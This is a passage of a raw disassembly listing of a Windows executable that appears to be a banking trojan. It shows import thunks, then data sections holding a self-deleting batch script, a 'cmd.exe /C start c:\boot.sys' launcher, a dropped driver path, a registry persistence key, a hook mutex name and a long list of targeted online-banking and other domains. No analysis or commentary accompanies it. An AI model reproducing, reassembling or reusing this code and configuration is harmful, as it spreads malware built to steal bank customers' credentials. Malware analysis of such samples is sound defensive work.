; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40C8EC proc near ; CODE XREF: sub_40B143+2FAp
jmp ds:dword_4474DC
sub_40C8EC endp
; ---------------------------------------------------------------------------
align 8
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40C8F8 proc near ; CODE XREF: sub_408E89+1CEp
; sub_408E89+7D8p
jmp ds:dword_4474E0
sub_40C8F8 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40C904 proc near ; CODE XREF: sub_40518F+36p
jmp ds:dword_4474EC
sub_40C904 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40C910 proc near ; CODE XREF: sub_40518F+9Bp
jmp ds:dword_4474F0
sub_40C910 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40C91C proc near ; CODE XREF: sub_4015EB+2Ep
; sub_404098+8p
jmp ds:dword_4474F4
sub_40C91C endp
; ---------------------------------------------------------------------------
align 8
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40C928 proc near ; CODE XREF: sub_4014BD+7Cp
; sub_4015EB+68p ...
jmp ds:dword_4474F8
sub_40C928 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40C934 proc near ; CODE XREF: sub_4014BD+2Ap
jmp ds:dword_4474FC
sub_40C934 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40C940 proc near ; CODE XREF: sub_4014BD+6Ap
jmp ds:dword_447500
sub_40C940 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40C94C proc near ; CODE XREF: sub_4015EB+5Ep
; sub_4040AA+27p
jmp ds:dword_447504
sub_40C94C endp
; ---------------------------------------------------------------------------
align 8
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40C958 proc near ; CODE XREF: sub_4022CC+138p
jmp ds:dword_447508
sub_40C958 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40C964 proc near ; CODE XREF: sub_4022CC+173p
jmp ds:dword_44750C
sub_40C964 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40C970 proc near ; CODE XREF: sub_4022CC+159p
jmp ds:dword_447510
sub_40C970 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40C97C proc near ; CODE XREF: sub_404FEF+24p
jmp ds:dword_447514
sub_40C97C endp
; ---------------------------------------------------------------------------
align 8
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40C988 proc near ; CODE XREF: sub_404FEF+16Dp
jmp ds:dword_447518
sub_40C988 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40C994 proc near ; CODE XREF: sub_404FEF+37p
jmp ds:dword_44751C
sub_40C994 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40C9A0 proc near ; CODE XREF: sub_403610+40p
jmp ds:dword_447528
sub_40C9A0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40C9AC proc near ; CODE XREF: sub_401219+49p
jmp ds:dword_44752C
sub_40C9AC endp
; ---------------------------------------------------------------------------
align 8
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40C9B8 proc near ; CODE XREF: sub_406A9A+1D5p
; sub_406E2B+6Cp ...
jmp ds:dword_447530
sub_40C9B8 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40C9C4 proc near ; CODE XREF: sub_4053A1+E5p
; sub_4053A1+14Cp
jmp ds:dword_447534
sub_40C9C4 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40C9D0 proc near ; CODE XREF: sub_409847+D97p
; sub_409847+DD1p
jmp ds:dword_447538
sub_40C9D0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40C9DC proc near ; CODE XREF: sub_401219+74p
; sub_409847+D1Dp ...
jmp ds:dword_44753C
sub_40C9DC endp
; ---------------------------------------------------------------------------
align 8
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40C9E8 proc near ; CODE XREF: sub_4088D5+116p
jmp ds:dword_447540
sub_40C9E8 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40C9F4 proc near ; CODE XREF: sub_40129C+1Ap
; .text:0040144Cp ...
jmp ds:dword_447544
sub_40C9F4 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40CA00 proc near ; CODE XREF: sub_4062CD+71p
; sub_4062CD+236p ...
jmp ds:dword_447548
sub_40CA00 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40CA0C proc near ; CODE XREF: sub_40109A+149p
jmp ds:dword_44754C
sub_40CA0C endp
; ---------------------------------------------------------------------------
align 8
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40CA18 proc near ; CODE XREF: sub_40170F:loc_401732p
; sub_403C5F+50p ...
jmp ds:dword_447550
sub_40CA18 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40CA24 proc near ; CODE XREF: sub_40109A+102p
; sub_40109A+11Cp ...
jmp ds:dword_447554
sub_40CA24 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40CA30 proc near ; CODE XREF: sub_4037EF+2Ep
; .text:004038BBp ...
jmp ds:dword_447558
sub_40CA30 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40CA3C proc near ; CODE XREF: sub_409847+74p
; sub_40A766+137p
jmp ds:dword_44755C
sub_40CA3C endp
; ---------------------------------------------------------------------------
align 8
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40CA48 proc near ; CODE XREF: sub_409847+A25p
jmp ds:dword_447560
sub_40CA48 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40CA54 proc near ; CODE XREF: sub_403449+5Dp
; sub_4034D8+53p ...
jmp ds:dword_447564
sub_40CA54 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40CA60 proc near ; CODE XREF: sub_40C434+17p
jmp ds:dword_447568
sub_40CA60 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40CA6C proc near ; CODE XREF: sub_4062CD+4B8p
jmp ds:dword_44756C
sub_40CA6C endp
; ---------------------------------------------------------------------------
align 800h
_text ends
; Section 2. (virtual address 0000D000)
; Virtual size : 0002D428 ( 185384.)
; Section size in file : 0002D428 ( 185384.)
; Offset to raw data for section: 0000D000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_bss segment para public 'DATA' use32
assume cs:_bss
;org 40D000h
dword_40D000 dd 72656B5Ch ; DATA XREF: sub_4083E5+53w
; sub_4083E5+8Er ...
aNel32_dll db 'nel32.dll',0
align 10h
db 0
aSCmd_pif db '%s\cmd.pif',0
db 0
db 2 dup(0), 5Ch
aCmd_exeCStartC db 'cmd.exe /C start c:\boot.sys',0
align 10h
dd 3F2h dup(0)
dword_40E008 dd 0 ; DATA XREF: sub_408E89+93Ew
; sub_40B01B+DFr
dword_40E00C dd 0 ; DATA XREF: sub_401D14+37w
; sub_401D14+47Dw ...
dword_40E010 dd 40h dup(0) ; DATA XREF: sub_408189+1B9o
; sub_409847+6DAo ...
dword_40E110 dd 0 ; DATA XREF: sub_40357C+57w
; sub_40357C:loc_403606r
dd 455h dup(0)
dword_40F268 dd 0 ; DATA XREF: sub_401D14+4Cw
; sub_401D14+23Dw ...
dword_40F26C dd 0 ; DATA XREF: sub_401D14:loc_40211Aw
; sub_401D14+412r ...
dword_40F270 dd 0 ; DATA XREF: sub_406E2B+F72r
; sub_406E2B+FF8r ...
byte_40F274 db 0 ; DATA XREF: sub_401D14+14Fw
align 10h
dword_40F280 dd 40h dup(0) ; DATA XREF: sub_401334+3Do
; sub_40A766+3BCo ...
dword_40F380 dd 0 ; DATA XREF: sub_4028A6+4Fr
; sub_402A4D+E5w ...
dd 0FFh dup(0)
dword_40F780 dd 0 ; DATA XREF: sub_40375C+50w
; sub_40375C+89r
dd 431h dup(0)
dword_410848 dd 0 ; DATA XREF: sub_408E89+6ADw
; sub_408E89+816r ...
align 10h
dword_410850 dd 0 ; DATA XREF: .text:00401B68w
; .text:loc_401B90r
dd 457h dup(0)
dword_4119B0 dd 0 ; DATA XREF: sub_402A4D+5D7w
dd 0FFh dup(0)
dword_411DB0 dd 785C7325h ; DATA XREF: sub_4040FC+52w
; sub_4040FC:loc_40418Ar
aSlfdlnt_bat db 'slfdlnt.bat',0
dd 0
aSCmd_pif_0 db '%s\cmd.pif',0
align 10h
dd 5C000000h, 2E646D63h, 657865h, 0
aLoop@delSNul@i db ':loop',0Dh,0Ah
db '@del %s>nul',0Dh,0Ah
db '@if exist %s goto loop',0Dh,0Ah
db '@del %s>nul',0Dh,0Ah,0
align 4
dd 73250000h, 20432F20h, 7325h, 3EEh dup(0)
dword_412DE0 dd 0 ; DATA XREF: .text:00402532w
; .text:loc_402568r
dd 462h dup(0)
dword_413F6C dd 0 ; DATA XREF: sub_408E89+975w
; sub_40B01B+F8r
dword_413F70 dd 0 ; DATA XREF: sub_408E89+40Aw
; sub_408E89+854r ...
align 8
byte_413F78 db 0 ; DATA XREF: sub_401D14+41Aw
align 10h
byte_413F80 db 0 ; DATA XREF: sub_401D14+6Cw
; sub_401D14+71r ...
align 4
dword_413F84 dd 0 ; DATA XREF: sub_401D14+5Dw
; sub_401D14+1E7w ...
align 10h
dword_413F90 dd 40h dup(0) ; DATA XREF: sub_409847+876o
; sub_409847+969o ...
dword_414090 dd 0 ; DATA XREF: sub_402A4D+BCw
; sub_402A4D+D9r ...
dd 0FFh dup(0)
dword_414490 dd 0 ; DATA XREF: sub_4080E0+58w
; sub_4080E0+9Fr
dd 45Bh dup(0)
dword_415600 dd 0 ; DATA XREF: .text:0040191Cw
; .text:00401957r
dword_415604 dd 423h dup(0)
dword_416690 dd 0 ; DATA XREF: sub_4045EF+42w
; sub_4045EF:loc_404659r
dd 3EBh dup(0)
dword_417640 dd 0 ; DATA XREF: .text:004021F9w
; .text:00402232r
dword_417644 dd 40Bh dup(0)
dword_418670 dd 94h ; DATA XREF: sub_40A766+E2w
; sub_40A766+ECo
dd 5, 1, 0A28h
dword_418680 dd 2 ; DATA XREF: sub_409847+A81r
dd 23h dup(0)
dword_418710 dd 0 ; DATA XREF: sub_405254:loc_4052ACw
; sub_405254+91r
dd 3F3h dup(0)
dword_4196E0 dd 0 ; DATA XREF: .text:00401484w
; .text:004014B3r
dd 45Eh dup(0)
byte_41A85C db 0 ; DATA XREF: sub_401D14+3DCw
; sub_401D14+3E1r
align 10h
dword_41A860 dd 0 ; DATA XREF: sub_401D14+53w
; sub_401D14+F6r ...
dword_41A864 dd 0 ; DATA XREF: sub_40B143+27Br
dword_41A868 dd 0 ; DATA XREF: sub_40223C+5Aw
; sub_4022CC+114r ...
align 10h
dword_41A870 dd 6972645Ch ; DATA XREF: sub_40129C+52w
; sub_40129C:loc_40132Ar
aVersNdisrd_sys db 'vers\ndisrd.sys',0
align 8
aEnabledsf db 'enabledsf',0
align 4
dd 73250000h, 2E73255Ch, 657865h, 3FFh dup(0)
dword_41B89C dd 0 ; DATA XREF: sub_40A766+50Cw
; sub_40A766+84Cr ...
dword_41B8A0 dd 0 ; DATA XREF: sub_4068A2+52w
; sub_4068A2:loc_406924r
dd 42Ah dup(0)
dword_41C94C dd 0 ; DATA XREF: sub_408E89+12Bw
; sub_408E89+1E8r
dword_41C950 dd 0 ; DATA XREF: sub_408E89+46w
; sub_408E89+52r ...
dword_41C954 dd 0 ; DATA XREF: sub_40223C+45w
; sub_4024C1+Dr
align 10h
dword_41C960 dd 463Ah ; DATA XREF: sub_4032E7+58w
; sub_4032E7+92r
dd 443h dup(0)
dword_41DA70 dd 0 ; DATA XREF: sub_401D14+3Ew
; sub_401D14:loc_401DB1w ...
dword_41DA74 dd 0 ; DATA XREF: sub_408E89+710w
; sub_408E89+723r ...
dword_41DA78 dd 0 ; DATA XREF: sub_408E89+8EEw
; sub_40B01B+C5r
dword_41DA7C dd 0 ; DATA XREF: sub_408E89+2B7w
; sub_408E89+367r ...
dword_41DA80 dd 0 ; DATA XREF: sub_40223C+76w
; sub_402465+4Cr
dword_41DA84 dd 400000h ; DATA XREF: sub_408E89+71r
; sub_408E89+DBr ...
dword_41DA88 dd 0 ; DATA XREF: sub_401D14+45w
; sub_401D14+CDw ...
align 10h
dword_41DA90 dd 3430257Bh ; DATA XREF: sub_403936+5Aw
; sub_403936:loc_4039CCr
aX04x04x04x04x0 db 'X%04X-%04X-%04X-%04X-%04X%04X%04X}',0
align 4
dd 0
dd 25000000h, 583830h, 2 dup(0)
aSS_dll db '%s\%s.dll',0
align 4
dd 0
dd 4C430000h, 5C444953h, 495C7325h, 6F72506Eh, 72655363h
dd 33726576h, 32h, 0
dd 68540000h, 64616572h, 4D676E69h, 6C65646Fh, 2 dup(0)
dd 61704100h, 656D7472h, 746Eh, 0
db 0
db 2 dup(0), 53h
aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayL'
db 'oad',0
align 10h
dd 3C3h dup(0)
dword_41EA7C dd 0 ; DATA XREF: sub_408E89+8B3w
; sub_40B01B+B1r
dword_41EA80 dd 40h dup(0) ; DATA XREF: sub_409847+5DEo
; sub_40A766+387o ...
byte_41EB80 db 0 ; DATA XREF: sub_401D14+19Bw
align 4
dword_41EB84 dd 0 ; DATA XREF: sub_408E89+B1w
; sub_408E89+E3r ...
align 10h
byte_41EB90 db 0 ; DATA XREF: sub_406E2B+199o
; sub_406E2B+CD4o ...
byte_41EB91 db 0 ; DATA XREF: sub_406E2B+E7Dr
byte_41EB92 db 0 ; DATA XREF: sub_406E2B+E86r
byte_41EB93 db 0 ; DATA XREF: sub_406E2B+E8Fr
dd 1828h dup(0)
db 2 dup(0)
word_424C36 dw 0 ; DATA XREF: .data:off_4412E2o
dword_424C38 dd 27D6h dup(0)
byte_42EB90 db 0 ; DATA XREF: sub_401D14+289w
; sub_401D14+28Er
align 4
dword_42EB94 dd 0 ; DATA XREF: sub_406E2B+1C0w
; .text:0040809Fr ...
align 10h
dword_42EBA0 dd 0 ; DATA XREF: .text:004017BFw
; .text:loc_4017FCr
dd 453h dup(0)
dword_42FCF0 dd 0 ; DATA XREF: sub_40223C+86w
dword_42FCF4 dd 0 ; DATA XREF: sub_40223C+30w
; sub_4022CC+36r
dword_42FCF8 dd 0 ; DATA XREF: sub_408E89+194w
; sub_408E89+20Er ...
byte_42FCFC db 0 ; DATA XREF: sub_401D14+315w
; sub_401D14+31Fr ...
align 10h
dword_42FD00 dd 0 ; DATA XREF: .text:004044E1w
; .text:loc_40451Dr
dd 3FBh dup(0)
dword_430CF0 dd 0 ; DATA XREF: sub_406D88+5Aw
; sub_406D88:loc_406E21r
dd 402h dup(0)
dword_431CFC dd 0 ; DATA XREF: sub_408E89+493w
; sub_408E89+836r ...
dword_431D00 dd 0 ; DATA XREF: sub_408E89+57Dw
; sub_40B143+28Br ...
dword_431D04 dd 0 ; DATA XREF: sub_408E89+251w
; sub_408E89+325r ...
align 10h
dword_431D10 dd 0 ; DATA XREF: .text:00408780w
; .text:004087B9r
dd 43Bh dup(0)
aCWindowsSystem db 'C:\WINDOWS\System32',0 ; DATA XREF: sub_403AA3+7Fo
; sub_403C5F+25Co ...
dd 3Bh dup(0)
byte_432F00 db 0 ; DATA XREF: sub_401334+AAo
; sub_408189+F1w ...
align 4
dd 3Fh dup(0)
dword_433000 dd 0 ; DATA XREF: .text:004019FBw
; .text:loc_401A2Cr
dd 3F8h dup(0)
dword_433FE4 dd 0 ; DATA XREF: sub_408E89+508w
; sub_408E89+878r ...
dword_433FE8 dd 0 ; DATA XREF: sub_408E89+7A1w
; sub_408E89+89Br
align 10h
dword_433FF0 dd 0 ; DATA XREF: .text:004015A9w
; .text:004015E1r
dd 196h dup(0)
dword_43464C dd 27Dh dup(0) ; DATA XREF: .data:off_4464FBo
dword_435040 dd 0 ; DATA XREF: sub_404F4F+50w
; sub_404F4F+96r
dd 437h dup(0)
dword_436120 dd 0 ; DATA XREF: .text:00401CCEw
; .text:00401D0Ar
dd 41Bh dup(0)
dword_437190 dd 0 ; DATA XREF: .text:004016CAw
; .text:00401705r
dd 423h dup(0)
dword_438220 dd 0 ; DATA XREF: .text:00408A57w
; .text:loc_408A8Br
dd 441h dup(0)
dword_439328 dd 0 ; DATA XREF: sub_408E89+5F7w
; sub_40B143+293r ...
align 10h
byte_439330 db 0 ; DATA XREF: sub_401D14+458w
align 10h
dword_439340 dd 0 ; DATA XREF: .text:00408862w
; .text:0040889Br
dd 439h dup(0)
_bss ends
; Section 3. (virtual address 0003B000)
; Virtual size : 0000C000 ( 49152.)
; Section size in file : 0000C000 ( 49152.)
; Offset to raw data for section: 0003B000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_data segment para public 'DATA' use32
assume cs:_data
;org 43B000h
dd offset dword_40D000
dd 43A428h, 8000h, 0
dword_43B010 dd 0 ; DATA XREF: sub_40109A+F6w
; sub_40109A+110w ...
dword_43B014 dd 12FF74h ; DATA XREF: sub_401219+60w
dd 0
dword_43B01C dd 0 ; DATA XREF: sub_401219+Bo
dword_43B020 dd 1 ; DATA XREF: sub_401219+44o
; sub_401219+5Ar
dword_43B024 dd 14B5A0h ; DATA XREF: sub_401219+3Fo
; sub_401219+54r
dword_43B028 dd 149C48h ; DATA XREF: sub_401219+3Ao
; sub_401219+4Er
dword_43B02C dd 0 ; DATA XREF: sub_40109A:loc_4011F8r
; sub_40109A:loc_401208r
dword_43B030 dd 0 ; DATA XREF: sub_40109A+62w
dword_43B034 dd 0 ; DATA XREF: sub_40109A+6Cw
; sub_40109A+87r ...
dword_43B038 dd 0 ; DATA XREF: sub_40109A+74w
dword_43B03C dd 14h dup(0) ; DATA XREF: sub_40109A+81o
; sub_40109A+8Fo
dword_43B08C dd 0 ; DATA XREF: sub_40109A+11w
dword_43B090 dd 0 ; DATA XREF: sub_40109A+16w
; sub_40109A+32w
dword_43B094 dd 2 ; DATA XREF: sub_408E89+10Dr
; sub_408E89+1C5r ...
dword_43B098 dd 0Ch ; DATA XREF: sub_401334+A3r
; sub_408DEF+5Br ...
dword_43B09C dd 34h ; DATA XREF: sub_40129C+Dr
; sub_40129C:loc_4012C2r ...
aKkqhook_28 db 'KKQHOOK_28',0 ; DATA XREF: sub_40A704+19o
; sub_40A766+51Fo
align 4
dd 372E3D00h, 0
dword_43B0B4 dd 0 ; DATA XREF: sub_409847+144r
; sub_409847+17Cr ...
dword_43B0B8 dd 46h ; DATA XREF: sub_409847+D9Cr
; sub_409847+DF7r ...
off_43B0BC dd offset aSiliconfirewar ; DATA XREF: sub_409847+14Ar
; sub_409847+182r
; "siliconfireware.ru"
dd offset aChechenpress_i ; "chechenpress.info"
dd offset aProdexteam_net ; "prodexteam.net"
dd offset aProdexteam_n_0 ; "prodexteam.net/main.htm"
dd offset aWww_cbr_ru ; "www.cbr.ru"
dd offset aWww_proxySocks ; "www.proxy-socks.net"
dd offset aProdexteam_n_1 ; "prodexteam.netcrutop.nu"
dd offset aNew_egg_com ; "new.egg.com"
dd offset aWww_baltbank_r ; "www.baltbank.ru"
dd offset aWelcome3_smile ; "welcome3.smile.co.uk"
dd offset aOlb2_nationet_ ; "olb2.nationet.com"
dd offset aWww_bbin_ru ; "www.bbin.ru"
dd offset aMasterX_com ; "master-x.com"
dd offset aEbookfinaltras ; "ebookfinaltrash.ru"
dd offset aWww_masterbank ; "www.masterbank.ru"
dd offset aWww_bankBanque ; "www.bank-banque-canada.ca/index.php"
dd offset aWww_bmo_com ; "www.bmo.com"
dd offset aWww_bankofmadu ; "www.bankofmadura.com"
dd offset aWww_cibc_com ; "www.cibc.com"
dd offset aWww_vtb_ru ; "www.vtb.ru"
dd offset aWww_cwbank_com ; "www.cwbank.com"
dd offset aHyperSpaceFuel ; "hyper-space-fuel.ru"
dd offset aAlfabank_ru ; "alfabank.ru"
dd offset aCrutop_nuVbull ; "crutop.nu/vbulletin/"
dd offset aWww_mmbank_ru ; "www.mmbank.ru"
dd offset aCrutop_nuVbu_0 ; "crutop.nu/vbulletin/forumdisplay.php"
dd offset aWww_uniastrum_ ; "www.uniastrum.ru"
dd offset aCrutop_nuVbu_1 ; "crutop.nu/vbulletin/showthread.php"
dd offset aAtmacasoft_com ; "atmacasoft.com"
dd offset aAsmworm_com ; "asmworm.com"
dd offset aWww_proxySocks ; "www.proxy-socks.net"
dd offset aDigitalRelaxkg ; "digital-relaxkgb.ru"
dd offset aWww_worldbank_ ; "www.worldbank.org/index.php"
dd offset aWww_candidatev ; "www.candidateverifier.com/index.php"
dd offset aWww_sbrf_ru ; "www.sbrf.ru"
dd offset aPizdabolInc_ru ; "pizdabol-inc.ru"
dd offset aWww_bankofindi ; "www.bankofindia.com"
dd offset aWww_icbank_ru ; "www.icbank.ru"
dd offset aAcroleinHawk_r ; "acrolein-hawk.rubanking.halifax-online."...
dd offset aWww_spyinstruc ; "www.spyinstructors.com"
dd offset aWww_kmb_ru ; "www.kmb.ru"
dd offset aWww_netmagiste ; "www.netmagister.com"
dd offset aKavkazcenter_c ; "kavkazcenter.com/russ"
dd offset aWww_absolutban ; "www.absolutbank.ru"
dd offset aMyonlineaccoun ; "myonlineaccounts2.abbeynational.co.uk"
dd offset aOnlineBusiness ; "online-business.lloydstsb.co.uk"
dd offset aWww_allahabadb ; "www.allahabadbank.com"
dd offset aMasterX_comFor ; "master-x.com/forum/"
dd offset aWww_rbc_com ; "www.rbc.com"
dd offset aWww_ovk_ru ; "www.ovk.ru"
dd offset aWww1_hsbc_caIn ; "www1.hsbc.ca/index.php"
dd offset aProrat_net ; "prorat.net"
dd offset aYambo_biz ; "yambo.biz"
dd offset aKidosBank_ru ; "kidos-bank.ru"
dd offset aWww_lbcdirect_ ; "www.lbcdirect.laurentianbank.ca/index.p"...
dd offset aBarclays_com ; "barclays.com"
dd offset aTotallyfreeban ; "totallyfreebanking.com"
dd offset aWww_nbc_caInde ; "www.nbc.ca/index.php"
dd offset a53bank_com ; "53bank.com"
dd offset aWww_uralsib_ru ; "www.uralsib.ru"
dd offset aGrepwareFacili ; "grepware-facility.ru"
dd offset aWww_b2bTrust_c ; "www.b2b-trust.com"
dd offset aGutabank_ru ; "gutabank.ru"
dd offset aOpenbank_com ; "openbank.com"
dd offset aSeclab_ru ; "seclab.ru"
dd offset aTatNeftbank_ru ; "tat-neftbank.ru"
dd offset aSecuritylab_ru ; "securitylab.ru"
dd offset aRoyalbank_com ; "royalbank.com"
dd offset aFethard_biz ; "fethard.biz"
dd offset aWww_mdmbank_ru ; "www.mdmbank.ru"
dd offset aGronxplanets_r ; "gronxplanets.ru"
dd offset aChevychasebank ; "chevychasebank.com"
db 24h, 6Ch, 0
aSoftwareMicr_0 db 'Software\Microsoft\Windows',0 ; DATA XREF: sub_409847+599o
; sub_409847+62Do ...
aC9 db 'C9',27h,'/%',0
aOfstkkq db 'ofstkkq',0 ; DATA XREF: sub_409847+594o
; sub_409847+628o
aOfstkkqc db 'ofstkkqc',0 ; DATA XREF: sub_409847+6A3o
; sub_409847+84Do
align 4
dword_43B214 dd 0 ; DATA XREF: sub_408189+18Cw
; sub_40B143:loc_40B2FAr ...
dword_43B218 dd 0 ; DATA XREF: sub_40B143+7Fr
; sub_40B143+B3r ...
aVk db ' vK%;',0 ; DATA XREF: sub_401334+1Bo
aByxy db 'Byxy',0 ; DATA XREF: sub_401334+E1o
align 4
dword_43B228 dd 3Bh ; DATA XREF: sub_401D14+1Aw
; sub_401D14+B7w ...
dd 6, 0Eh
dword_43B234 dd 0 ; DATA XREF: .text:0040143Fr
; .text:loc_401458r ...
aMI5 db 'm i5',0 ; DATA XREF: sub_4014BD+Co
a4Ec db '4%ec',0 ; DATA XREF: sub_4014BD+34o
aXuT db 'xU t',0 ; DATA XREF: sub_4014BD+4Co
align 4
dd 4, 0Dh
dword_43B250 dd 0 ; DATA XREF: .text:00401564r
; .text:loc_40157Dr ...
aDGu db 'D GU',0 ; DATA XREF: sub_4015EB+40o
align 4
dd 6, 10h
dword_43B264 dd 0 ; DATA XREF: .text:00401688r
; .text:loc_4016A8r ...
dword_43B268 dd 263Ah, 5, 0Fh ; DATA XREF: sub_40170F+12o
dword_43B274 dd 0 ; DATA XREF: .text:0040177Dr
; .text:loc_40179Dr ...
dword_43B278 dd 263Ah, 6, 10h ; DATA XREF: sub_401806+18o
dword_43B284 dd 0 ; DATA XREF: .text:004018DAr
; .text:loc_4018FAr ...
dword_43B288 dd 7F3E4546h, 7961h, 8, 12h ; DATA XREF: .text:00401971o
dword_43B298 dd 0 ; DATA XREF: .text:004019BDr
; .text:loc_4019D6r ...
byte_43B29C db 0 ; DATA XREF: sub_401A36+Co
byte_43B29D db 0 ; DATA XREF: sub_401A36+5Do
byte_43B29E db 0 ; DATA XREF: sub_401A36+BAo
dword_43B29F dd 3C2053h ; DATA XREF: sub_401A36+CBr
align 4
dd 3, 0Eh
dword_43B2AC dd 0 ; DATA XREF: .text:00401B26r
; .text:loc_401B46r ...
aRrQa db 'rr/+Q',0 ; DATA XREF: sub_401B9A+29o
align 4
dd 5, 12h
dword_43B2C0 dd 0 ; DATA XREF: .text:00401C90r
; .text:loc_401CA9r ...
aL2r6_ db 'l2r-6;.',0 ; DATA XREF: sub_401D14+95o
byte_43B2CC db 0 ; DATA XREF: sub_401D14+A7o
aF50z db 'F 5 0z',0 ; DATA XREF: sub_401D14+437o
off_43B2D4 dd offset loc_401DB1 ; DATA XREF: sub_401D14+8Br
dd offset loc_401DB1
dd offset loc_401DB1
dd offset loc_401DB1
dd offset loc_401E01
dd offset loc_401E01
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_401DB1
dd offset loc_401DB1
dd offset loc_401DB1
dd offset loc_401DB1
dd offset loc_401E01
dd offset loc_401E01
dd offset loc_40200C
dd offset loc_401F91
dd offset loc_401DB1
dd offset loc_401DB1
dd offset loc_401DB1
dd offset loc_401DB1
dd offset loc_401E01
dd offset loc_401E01
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_401DB1
dd offset loc_401DB1
dd offset loc_401DB1
dd offset loc_401DB1
dd offset loc_401E01
dd offset loc_401E01
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_401DB1
dd offset loc_401DB1
dd offset loc_401DB1
dd offset loc_401DB1
dd offset loc_401E01
dd offset loc_401E01
dd offset loc_401E36
dd offset loc_40200C
dd offset loc_401DB1
dd offset loc_401DB1
dd offset loc_401DB1
dd offset loc_401DB1
dd offset loc_401E01
dd offset loc_401E01
dd offset loc_401E36
dd offset loc_40200C
dd offset loc_401DB1
dd offset loc_401DB1
dd offset loc_401DB1
dd offset loc_401DB1
dd offset loc_401E01
dd offset loc_401E01
dd offset loc_401E36
dd offset loc_40200C
dd offset loc_401DB1
dd offset loc_401DB1
dd offset loc_401DB1
dd offset loc_401DB1
dd offset loc_401E01
dd offset loc_401E01
dd offset loc_401E36
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_401DB1
dd offset loc_401DB1
dd offset loc_401E36
dd offset loc_401E36
dd offset loc_401EB9
dd offset loc_401EE4
dd offset loc_401F5C
dd offset loc_401F22
dd offset loc_401E25
dd offset loc_401F10
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_40200C
dd offset loc_401E25
dd offset loc_401E25
dd offset loc_401E25
dd offset loc_401E25
dd offset loc_401E25
dd offset loc_401E25
dd offset loc_401E25
dd offset loc_401E25
dd offset loc_401E25
